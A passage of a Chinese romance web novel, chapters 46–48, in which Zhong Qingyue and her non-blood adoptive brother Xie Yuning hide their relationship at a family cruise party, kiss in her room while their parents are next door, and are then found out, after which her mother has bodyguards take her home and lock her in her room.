旋律渐淡,一束追光落在旋转楼梯上,钟妈挽着钟爸出现在顶端,随着弹奏缓慢走下楼梯。她眉眼柔和温婉,嘴角带着幸福的笑容,钟爸小心翼翼替她提着裙摆,认真搀扶着她。 钟卿悦看得入迷,腰间忽然多了一股温热的力量,谢昱宁的手臂缠上她,微微拉近两人的身体。 “干嘛!”她瞪他一眼,他总趁黑做一下捣乱的举动,周边都是人,她是他的女伴也不能搂着呀。 “想贴着你。” 他说得大言不惭,她环视一眼周围观众,注意力都在钟爸钟妈身上,加之灯光又暗,应该没人注意到,索性就依着他。 曲子进入结尾,钟爸钟妈已经站定在搭建的小舞台之上,主持人从侧面登台,饱含深情的讲述两人长达三十年的爱情,从相知相许到相伴到老。 不知不觉竟听得钟卿悦眼含热泪,她靠着谢昱宁,吸了吸鼻子,“等我们八十也举行这样的仪式。” “不用等八十,现在也可以。”谢昱宁认真回应。 “那不行,我现在还不想当动物园的猴子,估计我八十岁才想当吧。” “我八十岁时你就八十八岁了,到时候我得搀着你,当你的拐杖。”她仰头去看他,无法想象眼前这张英俊帅气的脸长满皱纹是什么样子。 “我们锻炼身体,争取八十八岁不用拄拐杖。” 主持人的话接近尾声,两人也噤声去听钟爸真挚的深情表白。 他一手握着钟妈,一手拿着话筒,眼睛已满含热泪,说话间就已经落下一串,“感谢小诗选择我,我们相濡以沫相伴走到今天十分不易。” 他从年轻说到现在又说到未来,台下居然开始有观众起哄“亲一个”,瞬间这个声音就压过钟爸的表白。 钟卿悦捂着嘴偷笑,原来看父母的热闹是这种感觉。 钟爸拗不过观众的声音,侧过身看了眼钟妈,似是在询问她的意见,钟妈笑着不好意思低下头,算是默认了。 在一众欢笑声中,钟爸捧着钟妈的脸亲了一口。 钟卿悦正看得带劲儿,下一秒,脸颊突然传来灼热柔软的触感,转瞬即逝。 她大惊失色地仰头去看始作俑者。 “谢昱宁!”她低吼一声,“你疯啦!” 谢昱宁安抚地摩挲着她腰际,“没关系,不会有人看到。” 她怒气冲冲地打了他一巴掌,“你气死我了!” 他也不躲,就任由她打他。 舞台上的表白结束,大厅内的灯光瞬间亮起,又变成灯火通明的辉煌景象,钟卿悦刚想拉开两人之间的距离,谢昱宁已经十分懂事的放下搂着她腰际的手臂,又恢复表面上的礼貌哥哥。 有谁能想到呢,方才的兄妹在大庭广众下堂而皇之的亲吻。 音乐演奏团更换了曲目,此时大厅里洋溢起欢快的旋律,伴着人们交谈的声音,一片欢乐的氛围。 钟卿悦拉着谢昱宁去寻觅食物,刚停在甜品区旁,就见钟妈和叶承扬一边笑着交谈,一边朝她的方向走来,她心里陡然升起不妙的感觉,刚想拽着谢昱宁逃跑,钟妈就看了过来,喊了声:“悦儿。” 46 第 46 章 ◎住在父母隔壁◎ 钟卿悦闭着眼睛都能想到钟妈肯定又要出么蛾子, 在飞机上话都说得那么明确了,怎么可能在聚会的当晚没什么动作呢。 她无可奈何地叹口气,坦然应下钟妈的呼唤。 钟妈步履匆匆走近, 扫了眼她手里的叉子, 又看向谢昱宁端着的甜品盘子, 佯装埋怨道:“别老缠着你哥哥, 他有人际关系需要打理。” “知道了。”她嘴上应着, 心里不免腹诽,是谢昱宁缠着她好吧,打着她的名义不知婉拒了多少社交,估摸着好多人都得笑他宠妹狂魔了。 “这孩子啊!”钟妈嗔怪一声,无奈地看向叶承扬,叶承扬淡淡笑了笑, 没有说话。 钟卿悦不知两个人突来到访的目的,安静地左右打量着,等待钟妈先开启博弈。 “悦儿, 待会儿你和阿扬给舞会开个场吧。” “舞会?”钟卿悦一愣, “什么时候加了舞会?” 钟妈装傻,“一直有啊。” 钟卿悦不动声色地垂下眸子,活动准备那么久了都不告诉她, 临了临了要上场了通知到她了,不就是想打她个措手不及,给她无法拒绝的理由吗。 “妈妈, 您怎么不早告诉我,我跳不了呀, 都没准备。” 她的回答似乎在钟妈意料之中, 钟妈轻轻笑了笑, “这有什么,就是简单的华尔兹,你又不是不会,也不是演出,开个场而已,准备什么。” 钟卿悦有时候想不通钟妈到底图什么,难道就看着叶承扬那么好,说什么也要撮合两个人? 她想不通,也不想想了。钟妈耐心地等待她的答复,她心里也生成了全新的计划,就是不知道叶承扬愿不愿意配合。 此时叶承扬坦然地站在一侧,明明知道她不肯,明明也已经清楚她和谢昱宁,却没有开口帮她推脱,显然也不算是统一战线了。 叶承扬喜欢她?应该不是,她没感觉出来。那他在想什么?觉得两个人家世相当,是适合联姻的对象? 她似乎有些看清叶承扬了,并非表面上那样人畜无害的温和,反倒心机极重。他从未袒露过自己的想法,她倒有些摸不清他的底牌是什么。 既然如此,那她就随自己心意好了。 她粲然一笑,歪头看向钟妈,“那好吧,你可不要嫌弃开场开得不好。” “没事。”钟妈微微扬手,“你们商量,我去那边和朋友聊天了。” 钟妈离开,钟卿悦偏头看向谢昱宁,他没什么表情,似乎对她答应钟妈这件事没有任何负面情绪。 她蹙眉,难道醋坛子爆改了? 叶承扬:“卿悦,你和我跳舞谢先生应该会吃醋吧。” 钟卿悦回神,挑眉看向他,“不会啊,而且我本来也没打算和你跳。” 叶承扬镜片后的双眸闪过一丝诧异,转瞬即逝,被温和的笑意所掩盖,“那我可以出面拒绝钟阿姨。” “不用,你想拒绝你早拒绝了,不知道你打的什么主意,我也懒得猜了。”钟卿悦开口没留任何余地,她越想越觉得叶承扬的嘴脸难看。 嘴上说着和她是朋友,帮她应付家里,实则又在需要帮忙的时候装傻,好人坏人全让他当了。 她撇撇嘴,“开场我和哥哥跳,就不麻烦叶少爷了。” 叶承扬这样的“老好人”从未被当面揭开过,他沉默着,有些下不来台。 钟卿悦懒得和他废话,把叉子往桌上一放,拉着谢昱宁离开了。 从宴会厅出来,甲板上吹来柔和的海风,潮湿带着盐粒子的咸味。 她靠着护栏看向远处黑漆漆的海面,开始对谢昱宁兴师问罪。 “我刚刚答应妈妈你怎么不说话?” 谢昱宁伸出手臂将她护在怀里,似乎害怕她会失足掉下船。 “我相信你,就算你逼不得已要和他跳舞,我也不会放开你的手,你和他跳不成。”他说得斩钉截铁,没有丝毫犹豫,认真的语气像在完成十分重要的任务。 她在他怀里转过身,眸子闪闪发亮,“你不怕妈妈知道?你可是答应过我的。” “我答应你就会做到,不会让他们知道。”他一瞬不瞬地看着她,神色坚定,钟卿悦透过他的眸子看到自己的倒影,还未缓过神,忽然被他拥进怀中,温暖清冽的雪松气息围绕,带着让人安心的紧密。 他们在甲板呆了很久,直至人多起来,无法再亲密依靠在一起,两人才折返回到宴会厅。 片刻后,音乐演奏团返场,主持人引导新的环节,众人自发的让出大厅中间的空闲区域,一场华丽的华尔兹舞会缓缓拉开序幕。 富丽堂皇的大厅,水晶灯闪耀散发光芒,轻柔悠扬的华尔兹音乐响起,仿佛带着梦幻的魔力,拨动人们心弦。 谢昱宁俯身像钟卿悦伸出手,礼貌又绅士,她浅浅勾起唇角,微微屈膝将手放在了他的掌心。 他手臂温柔的环上她的腰际,步伐稳健带领她踏入舞会。 旋律优雅,舞步轻巧,时而前进,时而后退,时而旋转,两人默契的像排练过无数次一般,每个步伐都精准流畅,自然到如同溪水流过山涧,是千百年形成的习惯。 钟卿悦微微抬眸看着他,目光交汇,他眼底含笑,盈满她的身影,世界仿佛只剩下两人,所有的喧嚣都被隔绝在外,耳边只有音乐和彼此的呼吸。 音乐节奏逐步加快,她随着他的引导旋转,裙摆飘逸飞扬,甩过他笔挺的西装裤,盖在他皮鞋之上,他丝毫无惧,有力的手臂环住她,从容的加快舞步。 她如同轻盈的羽毛,在他的主宰下翩翩起舞,转身、跳跃,优雅又充满活力。 随着音乐渐渐放缓,一舞结束,他携着她的手优雅谢幕,周围顿时响起雷鸣般的掌声。 钟妈站在人群中,思绪凝滞,她身边的好友轻拍她的肩膀,“小诗,你有福气呀,女儿儿子好优秀呀。” 她缓过神,堪堪笑了笑,心底有些乱。她从他们舞步中看到了从未看到过的默契,此刻如果有人说他们私下练习多时,她都会相信,可她知道,他们没有。 一场漂亮的开场后,众位男士开始邀请身边的女伴,华尔兹舞会持续进行着。 钟卿悦拉着谢昱宁隐入人群,逃离宴会厅。 舞蹈开始时她没敢去看钟妈的表情,应该是惊讶、疑惑、质疑交织的复杂神色,她原本有些害怕,可一舞结束,所有的害怕和紧张都被丢到脑后,她反而不怕被钟妈所察觉,更多的是想要一直和谢昱宁在一起。 舞会进行到深夜,累了的客人已经回到二楼客房休息,精神头大的客人仍在畅饮聊天。 钟卿悦玩了一晚上,骨头累的都要散架了,拉着谢昱宁溜回三楼的客房,狭窄的走廊寂静无声,隐约能听到甲板的欢愉。 她和谢昱宁的房间门对门,钟爸钟妈的房间则在她的隔壁。 她刷开自己的房门,无声挥着手和谢昱宁告别,谢昱宁沉默看着她,他没和她待够,而且她答应的奖励也没给。 钟卿悦见他站在门口不动,指了指房门,又指了指手机,示意他回房间用手机联系,因为她不确定钟爸钟妈有没有回来,所以不敢发出任何声音。 她转身进门,反手刚要关门,却被一股力量抵住,他站在门口,她站在门内,目光交汇。 他垂着眼睑,似乎有些委屈,低声道:“你忘了什么事了。” 她迅速捂住他的嘴巴给他噤声。 他沉默盯着,手轻而易举推了下门板,迅速侧身挤进门内,砰的一声,反手将门关紧。 她大惊失色,他胆子也太大了。 “你快回你房间!”她急得跳脚。 他扯过她,将她抵在墙上,垂头靠近,“你食言了。” “什么呀!”钟卿悦慌得不行,根本没听明白他在说什么。 “那我自己来好了。” 话音落,他扶住她耳侧,偏头落下一吻。 他含住她的唇瓣,轻柔吸吮研磨,舌尖轻巧地撬开她的齿关,潮湿的呼吸融为一体,触碰纠缠在一起。 钟卿悦闭着眼,抬头应承着他的深入。原来他说她忘了的是这个啊! 他似乎察觉到她走神,不满的含住她的舌尖轻轻吸吮,她被吓了一跳,在他怀中颤抖着,酥麻的感觉直冲太阳穴,她下意识推着他的肩膀,哼唧着想要逃离。 他捉住她的手,引着她环上他的腰,身体紧紧贴在一起。 吻持续不断,直至她头发昏,呼吸越来越急促,他仍旧不知餍足的侵略。 她只好拿出杀手锏,手从他腰后滑到腹部,轻巧地解开西装扣子,摸索到衬衣两扣空隙之间,指尖灵巧伸了进去,抚过他紧实的腹肌。 他动作一顿,偏头结束一吻。 得了呼吸的机会,钟卿悦伏在他肩膀上细细喘息着,手指却没收回,习惯地轻抚块块分明的肌肉。 他呼吸一滞,喉结上下滚了滚,努力克制着翻涌的情愫。 钟卿悦不知他的变化,头歪着,嘴巴靠近他耳廓,轻唤道:“哥……” 这一声就像压死骆驼的最后一根稻草,他理智瞬间崩塌,终于抑制不住的闷哼一声。 她大惊失色,忙哑声道:“你小点声,爸爸妈妈还在隔壁。” 谢昱宁不语,抓住她作乱的手,反手压在墙上,手指嵌进她的指缝,晦暗的目光落在她脸上,下一秒,汹涌的吻落下。 急促猛烈的吻让她无所遁逃,呼吸瞬间紊乱,身体忍不住轻颤起来。 他松开她的手,将她捞进怀中,另一只手抵住她脑后,持续不断地索取她的气息。 47 第 47 章 ◎发现◎ 今晚的谢昱宁好像变了个人, 对她着了迷似的,吻得很凶,恨不能把她揉进身体里。 安静的房间, 灯光昏暗朦胧, 旖旎的气氛围绕, 一切都在朝着失控的方向行进。两人宛如脱离水面的鱼, 无法呼吸, 濒临崩溃,只能彼此交换气息生存。 钟卿悦已没有力气推开他,意识变得越来越混沌,他粗重的喘息像闪动的火苗,将她身体最深处的部分点燃,躁动与灼热充斥, 避无可避。 “咚咚——” 叩门声突然响起,在寂静的深夜格外清晰。 钟卿悦心脏猛然收紧,思绪回笼, 却分不清是梦境还是现实。迷离的双眸盈满泪水, 顺着脸颊滑落,擦过谢昱宁的指尖。 他偏头结束亲吻,下巴伏在她颈间, 将她紧紧抱在怀里。 “咚咚——” 又是两声敲门,力气更大了些,还伴随着钟妈疑惑地声音, “还没回来?老公,你去敲敲昱宁的房门。” 紧接着, 就听到模糊的敲门声, 钟爸去敲谢昱宁的房门了。 钟卿悦一瞬慌乱, 无措地抓紧他,不知如何是好。 谢昱宁覆在她耳边,声音极低,“你应一下。” 她点了点头,吞了下口水,努力让声音听上去无恙,“谁呀?” 话出口,她发觉自己声音暗哑,鼻音浓重。 钟妈:“悦儿,你睡了?” 她索性随着装下去,“妈妈,我睡着了,怎么了?” 钟妈松口气,“没事,你回来就行。” 钟爸接着问道:“悦儿,你哥呢?你们是一块儿回来的吗?敲他门也没人回。” 她呼吸一滞,她哥…… 她哥在她房间抱着她,这是能说的吗? 见她愣神,谢昱宁轻声道:“说不知道。” 钟卿悦立刻回道:“我不知道,我困了就先回来睡了。” “行吧,你睡吧。”钟爸说完声音小下去,和钟妈嘟囔道,“估摸着昱宁也睡着了。” 钟妈不放心地蹙起眉,“这么大动静都没醒吗?你给昱宁打个电话吧,船上也不安全,别再出点儿事。” 打电话……? 一听要打电话,钟卿悦慌了神,手忙脚乱地推开谢昱宁去找他手机。 无声的焦虑充斥在房间里,她顾不上合不合适,漫无目的的在他身上乱摸起来,从手摸到腰间口袋,又顺着摸到大腿、屁股。 谢昱宁呼吸一滞,那双柔软的指像灵巧的兔子,从身体上游移跳动,克制下的异样仿佛又要升腾起来。 他连忙捉住她的手,从口袋里掏出手机给她看,接着按下静音键。 看着屏幕上跳出红色的静音标识,她才松口气。下一秒,屏幕一暗,跳出钟爸的手机号。 她紧张地握着他手臂,如果再晚一秒,就一秒,铃声就会在她房间响起,谎言被戳破,他们的关系被发现。 万幸,幸运女神降临到他们这边。 门外响起钟爸渐行渐远的声音,“没人接啊,我去找找,别再喝了酒。” 钟妈应了声,片刻后响起开门声和关门声,钟妈应该回了房间。 危机解除,她紧绷的神经得以松懈,她倾身靠在他肩膀上,小声道:“吓死我了,魂儿都要没了,幸好妈妈没要我开门。” “让你开门我就躲进洗手间。”谢昱宁道。 “好像偷情哦……” “嗯?”他眯起眸子,审视的目光落在她脸上。 “你不觉得很刺激嘛。”她眨巴着眼睛,无辜地看着他。 “你喜欢刺激?”他饶有兴趣地勾起唇角,“我可以陪你。” 钟卿悦微怔,“什么?陪我干什么?” 他不语,只是举起手机。屏幕亮着,钟爸的手机号还在跳动,不断给他打来电话,他晃了晃,示意她看过来,紧接着下一秒便按下接听键。 不是!等等! 她已阻止不及,耳边传来钟爸浑厚的嗓音,“昱宁,你在哪?” 他按下免提,缓缓开口,“爸,我在房间。” “啊?你在屋里啊,那怎么我敲门你也没开。” 他没立刻接话,淡淡垂眸看向怀里着急的女孩,手臂都快被她捏紫了,澄澈的双眸狠狠瞪着他,微肿的唇瓣噘得要能挂个香油瓶了。 他含笑靠近,在她唇角无声地亲了一口,“我听到了,但是在洗澡。” 手臂的力道陡然消失,她扬着下巴看他,似乎在夸赞他谎言说得不错。他不语,挑眉和她交换眼神,等待她的奖赏。 钟卿悦不用思考就能明白他的意思,瞳仁一转,决定网开一面,靠近在他脸颊轻啄一下,转瞬即逝,像羽毛蹭过的柔软。 电话那头的钟爸并不知道发生了什么,还在自顾自说着,“哦,嗐,我还以为你再喝了酒,不安全。” 谢昱宁回得心不在焉,“没,爸,您找我有事吗?” 钟爸:“没事,你早点休息,我回去跟你妈说一声,她担心的不行。” 谢昱宁应了声,电话挂断,他慢条斯理收起手机,“为什么奖励越来越微薄了。” “谁让你故意吓唬我。”钟卿悦冷哼一声,推着他往门口走,“趁爸爸没回来,你快回房间吧。” “我要留下。” “不行。” “就行!” 钟卿悦不和他打商量,硬生生把他推得距离门口几米的位置,他又不动了,直挺挺站着同她讲条件,“在家都可以,我早上很早就回去。” “在家的时候不在一层,现在爸爸妈妈就在我隔壁,你早上开门关门万一被听到怎么办!” “不行不行,你快回去,没商量。”她手搭在门把手上,下一秒就要开门将他推出去。 忽然,她整个人僵在原地,手上的动作顿住,眼睛直直盯着一个方向,像被定身一样。 她突如其来的异样让谢昱宁眉头紧锁,“怎么了?不舒服?不逗你了,等爸回来我就回去,现在出门容易和他撞到,解释不清。” 钟卿悦维持动作没动,偏头做了个噤声的动作,唇语示意他,“爸爸回来了。” 果然,片刻后隔壁响起开门声,隐约听到钟妈的询问,声音不大,只能说船上的房间隔音实在差,接着门关上,便再也听不见什么了。 她长舒一口气,“差一点,以前从来没发现我听力这么绝佳。” “好了,你走吧。”她站定,小心翼翼拉开门,声音放缓嘱咐道,“你轻轻开门关门。” 谢昱宁在半推半就中被“扔”出门外。 — 一夜无眠,船上虽一应俱全,居住环境也算舒适,但钟卿悦就是辗转反侧睡不着,临近天亮时,船起航返程,各种杂乱的声音也涌入耳朵,她枕着嘈杂迷糊了几小时,直至门被敲响,钟妈唤她起床。 洗漱完,顶着黑眼圈出门吃早餐,在走廊就遇到一同出门的谢昱宁,他精神状态也很一般,眸光无神,看上去有些疲倦。 两?*? 人默契地相视一笑,果然依赖有成瘾性。 中午时分,游轮靠岸,这场豪华的聚会宣告结束,所有人都很满意,笑意盈盈地夸赞钟爸的招待。送走全部客人后,一家人才启程返回别墅。 面临元旦假期结束,他们没能在碧海岛继续呆下去,第二天便赶回江城,下午钟卿悦两人匆匆回到故城。 从夏天回到冬季,捂上羽绒服和围巾,身体冻得瑟瑟发抖,行动变得蹒跚缓慢,除了雪景好看,冬天的优点屈指可数。 适应了寒冷,期末周也如约而至,钟卿悦顾不得埋怨冬天,整日泡在图书馆复习。 熬到最后一门课考完,寒假也即将到来,路畅要提早赶回老家过年,临走前喊钟卿悦和奚乐昕吃饭。 她一挥手,十分大方的表示兼职赚了不少钱,一定要请她们吃点好的,两人知道她赚钱不容易,年上回家也要花不少钱,最后商定AA去吃火锅。 钟卿悦发信息告诉谢昱宁不回家吃饭了,恰好谢昱宁也有应酬,约好等她吃完饭接她回家。 三人开开心心直奔火锅店。 冬天的火锅店人声鼎沸,推门走进能感受到升腾的热浪和浓郁火锅香气,钟卿悦原本饿得咕咕叫的肚子这会儿疯狂叫嚣,她靠着路畅哀嚎,“让我吃饭,让我吃饭。” 服务员领着她们往位置上走,闻言笑道:“我们家上菜快,坐下基本就等于要开吃了。” 钟卿悦笑眯眯回道:“我现在饿得能吃下一头牛。” “是是是,快给我们卿悦上一头牛。”路畅打趣道。 三人坐下点好菜,路畅去了趟洗手间,回来后主动说道:“虽然答应你们AA,但我还是偷偷结账了。我真的很想请你们吃顿饭,感谢你们一直以来对我的照顾。” 奚乐昕:“我们关系那么铁,怎么还感谢上了。” “因为你们对我好。而且我现在在高尔夫俱乐部赚好多小费,主要还想感谢卿悦介绍她朋友,她朋友几乎每周都会带不同的客户去,而且出手阔绰。” 钟卿悦有些惊讶,没想到叶承扬这么喜欢打高尔夫,还一直关照路畅。 路畅看向钟卿悦,试探开口,“我八卦一下?” 钟卿悦不明所以地点点头,“你说。” “你朋友他,还蛮多……女朋友的。” “啊??叶承扬吗?” 路畅点了点头,“其实也是最近的事,他每次去领的女伴都不同,而且关系十分暧昧。” 钟卿悦大跌眼镜,“这么渣?!” 虽然不了解叶承扬,但确实也没想到他这副嘴脸。 菜品端上桌,路畅也陆陆续续说了很多小细节,比如她观察到其实叶承扬和其中几个女伴根本不熟,像是初次见面一样,还会询问喜好什么的。但做得行为又极其暧昧,搂腰啊,环抱着女生教她打球啊。有的女伴就会更亲密一点,大庭广众亲吻脸颊、拥抱之类的。 钟卿悦从一开始的惊讶到最后在饭桌上直接吐槽渣男。路畅和奚乐昕本来还碍于钟卿悦的朋友关系没好意思多说话,但见此,也不在乎了,随着一起骂起来。 没成想就着骂渣男,这顿饭吃得也挺爽。 直至桌上没了菜品,火锅咕嘟得也没了汤,三人吃饱喝足靠着沙发摸肚子。 钟卿悦幽幽叹口气,刚要感叹大学的美好时光,桌上的手机突然响起来,震动声嗡嗡的。 她慢条斯理地拿起,以为是谢昱宁的电话,可看到屏幕上“妈妈”二字以后,她愣了一下。 这个时间钟妈怎么会突然找她? 怀着疑惑接起,听筒传出钟妈的声音,“在哪?” 语气很冷很冰,连喊她都没喊。 钟卿悦觉得情况不太妙,“我跟同学在外面吃饭。” “你立刻回来。”钟妈不由分说道。 回来?回哪?一股不祥的预感升腾起来。 她还没问,钟妈似乎明白她的不解,冷嗤一声,“回公寓,我和你爸在故城,你爸已经给你哥打了电话。” 钟卿悦吞了下口水,应了声。 她感觉出事了,而且是大事…… 电话挂断,她脸色不太好看,心脏跳得很快,紧张和不安萦绕在心头。 奚乐昕看出她的异样,担心道:“卿悦,你有事?” 她愣了一下,点点头,心神不宁,“我得先回去了。” 话音落,她手机又响起来,这次显示的是——“哥哥”。 她连忙接起,谢昱宁清冽干净的嗓音响起,“我现在去接你,别担心。” 他的声音像定心丸,抚平钟卿悦的慌张。她点了点头,喃喃道:“好,是不是……” 谢昱宁望向窗外,捏紧手机,他不想骗她。 “是,大概率是。” 钟卿悦悬着的心终于是死了,她想过会有那么一天,但她希望的是两个人大方承认,一起被审判,而不是现在这样,突如其来的被抓到。 她不知道怎么走到的门口,也不记得在冷风中站了多久。直到谢昱宁的车停到路边,她被他环抱着上了车。 她心思很乱,没察觉这样的举动让陪着她的奚乐昕和路畅大惊失色。 上了车,谢昱宁将她冰凉的手抱在掌心里,冷静安抚道:“我会想办法,你别害怕。” 她愣了一会儿,抬眸看向谢昱宁,摇了摇头,“我不怕,就是……” 她也不知道是什么,总之脑子也很乱,心也很乱。 “你说他们怎么会知道?”她喃喃自语,像是在问自己。 谢昱宁揉搓着她的手,“无论如何,都没事。就算爸妈不发现,我也打算今年过年离开钟家,回谢家。” “为什么?” 谢昱宁:“我在钟家我们就不能在一起,我回谢家,对外他们就明白了,之后我们在一起爸妈也不会受到非议。” 钟卿悦沉默地点了点头。 车子很快停到公寓楼下,两人下车,走进单元门上电梯。 二楼…… 三楼…… 四楼…… 叮—— 电梯门打开。 谢昱宁牵起她的手,十指相扣,掌心的温热似有无穷的力量,将她所有的担心与害怕消掉。 走出电梯,谢昱宁按下指纹锁,门开了。 48 第 48 章 ◎必须分手◎ 钟爸站在玄关处, 双手背在身后,冷冽的目光砸在两人身上。钟卿悦心口一缩,下意识想抽回手, 谢昱宁却牢牢握着她, 将她拉到身后护起来。 原本坐在沙发的钟妈见状猛然起身, 手提包掉落在地。 “进来。”她紧咬着后槽牙, 两个字从齿缝中挤出。 钟爸不语, 侧身让开通道。 狭小的公寓空间有限,四个人错位站在客厅里,方寸间都是压抑,让人喘不上气。 钟卿悦闭了闭眼睛,当这一刻真的来临,所有的惧怕忽然都消失不见了。或许因为她早就预设了这一天, 只不过来得早了些,突然了些。 事情已然发生,解决比逃避更加重要。既然两人都从未想过在压迫下分手, 那这一天或迟或早都变得没那么重要。 她深吸一口气, 抬眸看向钟妈,眼睛里多了几分平淡。 钟妈只是盯了她一瞬,视线接着下移看向两人紧握的手, 眼前忽然一阵阵发黑,她身子微颤着坐下,压着声音质问道:“什么时候开始的?” 钟卿悦:“十月。” 才开始, 刚开始,还有得救。 钟妈闭上眼, 脑子里又回响起叶太太带着讽刺的话。 结婚纪念日的聚会后, 她一直连轴转着忙手术, 叶太太约她几次她都没时间赴约。 直到今天下午,她和叶太太聚到一起约下午茶,落座后没多久,叶太太就轻飘飘地开口了,“小诗,你藏得太深了,怎么早不告诉我,辜负我们家阿扬一片真心。” 钟妈抿着咖啡一脸疑惑,“什么呀?我怎么没听懂。” “你儿子和你女儿啊。”叶太太顿了顿,佯装失言的模样,“是不是不能这么称呼?但我确实分不清你们家的关系,女儿和儿子谈恋爱……?这么说可太怪了。” 这话如同一道惊雷劈到钟妈身上,她放杯子的手一歪,咖啡倾倒,顺着桌面流在地板上。 叶太太:“哎呀,这是怎么了!” 钟妈愣愣坐着,耳边全是嗡嗡的轰鸣声,她听不到叶太太的询问,也听不见服务员清理地面的碰撞声。 这一刻她在反思,她早就有所预料,为什么不坚持一点,为什么要轻易相信他们? 或许是她先入为主,她一直认定钟卿悦对感情十分单纯,似乎对男女之情还没开窍,所以她一直犹豫不定,害怕太过干涉会让没有心思的两个人动了心思,但她抉择错了。 错了没关系,能改就好。 钟妈睁开眼,情绪稳定许多,她冷冷开口,没有商量,只有命令,“分手。” “我们不分手。”钟卿悦想也没想地怼了回去。 “不分手?像什么样子?”钟妈赫然起身瞪着两人,眸中怒火蔓延,下一秒就要将人烧成灰烬。 “钟卿悦,他是你哥,你知不知道?” 钟卿悦无所畏惧地回视,眼神坚定,“他不是我哥,他不是你生的,我们没有血缘关系,你也没有收养他,在法律意义上我们连亲戚都不算。” “有什么区别?你喊了她二十年哥了,所有人都知道他是我的儿子,传出去让我跟你爸被人戳脊梁骨吗?让钟家成圈子里的笑话吗?” 说完,钟妈冷笑一声,“已经是笑话了,我脸都要丢尽了。” 钟卿悦:“反正都丢没了,就不要在乎了。” 钟妈的火气蹭的一下升起,脸瞬间涨红,垂着的双手紧握成拳,不停地颤抖。 钟卿悦不管不顾地继续说道:“面子有什么重要的,谁家不是一地鸡毛,乌鸦站在猪身上,只看见别人黑,看不见自己黑。愿意笑话就笑话去好了,我脸皮厚,有本事说我脸上。” 钟妈克制的怒火再也压不住,她急促喘息着,手臂猛然抬起,朝着钟卿悦的脸挥了上去。 钟卿悦闭上眼,躲也不躲,挨打也不是第一次了,疼过就好了。 啪—— 清脆的声音响彻房间,预想的疼痛并没有降临,钟卿悦睁开眼,只见谢昱宁挡在了她身前,头微微垂着,脖子到耳根处一片通红的掌印。 “哥。”钟卿悦试探地去触碰,却又怕他疼,眼睛不自觉染上泪水,“疼吗?” 他捏了捏她的掌心,轻声安抚道:“没事。” 他将她拉到身后,抬眸看了眼钟爸和钟妈,不假思索地跪了下去。 安静的房间,他微弓着背跪在地上,脖颈间的红逐渐散开蔓延至下颌的位置,像泼了红油漆在脸上,触目惊心。 这样的他很少见,没了往日的傲气,眉眼低垂着,沉默黯然,如同做错事的孩子,任由批判指责。 钟卿悦心脏如同被无数根针扎了一样,刺痛无比。她不想让他独自去承担这一切,本就是两情相悦,错就是都错了。 她咬紧下唇,将泪压下去,一步上前就要陪他一起跪下。 膝盖还未碰到地面,一双手忽地抵住她的腿,强硬的力量逼迫她只能站着。 “哥……”她垂眸不解地看他。 他只是轻轻摇了摇头,“听话。” 忍下的泪水再次翻涌,不争气地夺眶而出,她连忙背过身用手擦去,不想让他看到她哭。 谢昱宁喉结上下滚了滚,眼眶微红,声音低哑地开口,“爸,妈,是我的问题,我作为哥哥没有引导好悦儿。但对不起,我真的喜欢她,我不会放手,希望你们能给我一次机会。我会回谢家,并且公开这个消息,尽量让所有人都知道。” 钟妈站在原地,冷冷偏头不去看他,“我不同意,在我这里除了分手你们拿不到其他答复。” 一直沉默的钟爸叹了口气,“昱宁,你跟我过来。” 谢昱宁看了眼钟妈,得到首肯才起身跟着钟爸去书房。 门关上,客厅只剩哭红眼的钟卿悦和怒气不减的钟妈。钟妈没有说话,她知道晓之以情动之以理用在这里已经不合适了,而且她和钟卿悦这么多年也从不是靠沟通相处的。 她垂首掏出手机发了条信息,几分钟后走到门口打开门。 四五个健壮的保镖整齐划一进门,穿着板正的黑色西装,头戴耳麦,动作干脆利落。 钟卿悦被吓一跳,下意识后退一步,她猜到这些人是冲她来的了,她想跑。 然而钟妈怎么会给机会,她在来得路上就已经计划好了这一切。她微微扬了扬手,带头的保镖点点头,两个人齐刷刷上前,速度快到让人胆寒,钟卿悦还没反应过来,人已经被夹在中间。 保镖微微颔首,“抱歉,小姐。” 话音落,钟卿悦手臂被架起,脚瞬间腾空。 “哥!”她挣扎着,大声冲着书房方向喊了一声,寄希望于谢昱宁能出来救她。 但她知道这个可能性微乎其微,钟爸钟妈明显有备而来,他们不会允许自己失手。 果然,她的呼喊只换来书房门震响了一下,紧接着就被拎出了公寓。 她扭动着身体,脚胡乱踢着,“放开我。” 钟妈淡淡瞥她一眼,理都没理。 “妈妈,你带我回去没有用,我们不可能分手。” 钟妈:“我帮你们分。” 钟卿悦烦躁地挣扎两下,保镖的力气实在太大,她在他们面前就像小鸡崽子,提溜着就能走。她反手去推保镖的胳膊,保镖默默看了一眼,心有灵犀地捏住她手腕,反手压下去控制住。 她哑口无言,上半身连动都动不了。她可算知道了,看来平常和谢昱宁闹都是调情了,真正的控制是这样的…… 被架进电梯,她自知逃脱无望,也不再挣扎,开始冷静下来思考对策。 书房内,钟爸抵在门板上,仗着谢昱宁不敢对他动手,硬生生将他挡在门内。 听着外面关门声响起,钟爸松了口气,无奈开口,“你出去也没用的,你们这一步本身就走错了,长痛不如短痛,早点结束对你们都好。” “爸,你不用跟我说这些。” 钟爸点点头,“行,我知道你主意正,如果不是因为你们是兄妹,我和你妈妈现在肯定拍手鼓掌支持你们,说不定立刻摆宴结婚。” 谢昱宁沉默着没说话,钟爸也不再多说话,摆了摆手,“你自己好好想想吧。” — 钟卿悦下楼后手机就被钟妈摸走了,她原本打算偷偷联系谢昱宁的想法破灭,她慌了一瞬,有些不知道如何是好。 被保镖塞进商务车,连夜押送回了江城。到江城已经是下半夜,钟卿悦逃也逃不了,保镖从车里将她提到卧室,非常客气的把她放到沙发上,默契地退到钟妈身后。 钟妈点点头,三人转身离开,她仓皇跟上,门却先一步被关上,接着就是落锁的声音。 “妈,你放我出去。” “或者给我手机。” “妈——” 钟卿悦绝望地拍着门板,她想过会被反对,但没想到他们的反应如此强烈,明明她和谢昱宁没有血缘关系啊,为什么就那么难以接受呢? 钟妈没回话,等了几秒,钥匙被抽走,脚步声渐行渐远。 她被关起来了。 惊慌从心头蔓延开来,她漫无目的围着房间转了一圈,想找点能开门或者能与外界联系的东西。 但……似乎什么都没有。 她坐在床上努力去理清思绪,她不能坐以待毙,必须冷静下来想办法。 跑?门出不了,那从……? 她视线扫到阳台,不过三楼,她可以从阳台想办法溜出去。 她迅速冲到阳台门口,手扣住把手拉了一下,纹丝不动,阳台门被锁住了。 这真的变成密室了,没有任何地方能出去。 她慌乱地喘着粗气,在房间里不住地踱步,怎么办? 